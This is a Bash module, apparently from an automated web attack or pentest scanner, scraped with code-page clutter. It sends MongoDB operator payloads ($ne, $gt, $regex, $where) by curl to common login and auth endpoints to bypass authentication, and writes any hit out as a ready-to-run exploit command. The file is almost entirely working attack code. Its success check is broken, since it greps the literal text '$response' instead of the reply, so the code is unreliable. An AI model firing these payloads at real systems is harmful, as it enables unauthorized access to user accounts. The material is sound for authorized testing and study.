55 lines
1.8 KiB
Bash
Executable File
55 lines
1.8 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# Vector 20: NoSQL Injection
|
|
# Desc: MongoDB injection via JSON operators ($ne, $gt, $regex)
|
|
# Detect: Node.js/Express apps, MongoDB backends
|
|
# Severity: HIGH
|
|
# Tools: curl
|
|
|
|
vector_nosqli() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local findings=0
|
|
|
|
print_info "Testing NoSQL Injection vectors..."
|
|
|
|
# Check for JSON content types or Node.js indicators
|
|
local headers=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
|
|
|
# Test POST endpoints
|
|
local endpoints=("/login" "/api/login" "/auth" "/api/auth" "/user" "/api/user" "/graphql")
|
|
local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
|
|
|
|
for endpoint in "${endpoints[@]}"; do
|
|
# NoSQL injection payloads
|
|
local nosql_payloads=(
|
|
'{"username":{"$ne":""},"password":{"$ne":""}}'
|
|
'{"username":{"$gt":""},"password":{"$gt":""}}'
|
|
'{"username":{"$regex":".*"},"password":{"$regex":".*"}}'
|
|
'{"$where":"1==1"}'
|
|
'{"username":"admin","password":{"$ne":""}}'
|
|
'{"username":"admin","$where":"1==1"}'
|
|
)
|
|
|
|
for payload in "${nosql_payloads[@]}"; do
|
|
local response=$(curl -s --connect-timeout 5 --max-time 10 \
|
|
-X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d "$payload" \
|
|
"${base}${endpoint}" 2>/dev/null)
|
|
|
|
if echo "\$response" | grep -qiE '"token"|"success":true|"loggedIn"|"authenticated"|200|"session"'; then
|
|
print_find "NoSQL Injection!" "Authentication bypass via $endpoint"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: NoSQL Injection
|
|
DETAIL: NoSQL injection on ${base}${endpoint}
|
|
EVIDENCE: Authentication bypass with $payload
|
|
EXPLOIT: curl -X POST ${base}${endpoint} -H 'Content-Type: application/json' -d '$payload'" > "$REPORTS_DIR/.finding_$(date +%s)_nosqli.txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
done
|
|
done
|
|
|
|
return $findings
|
|
}
|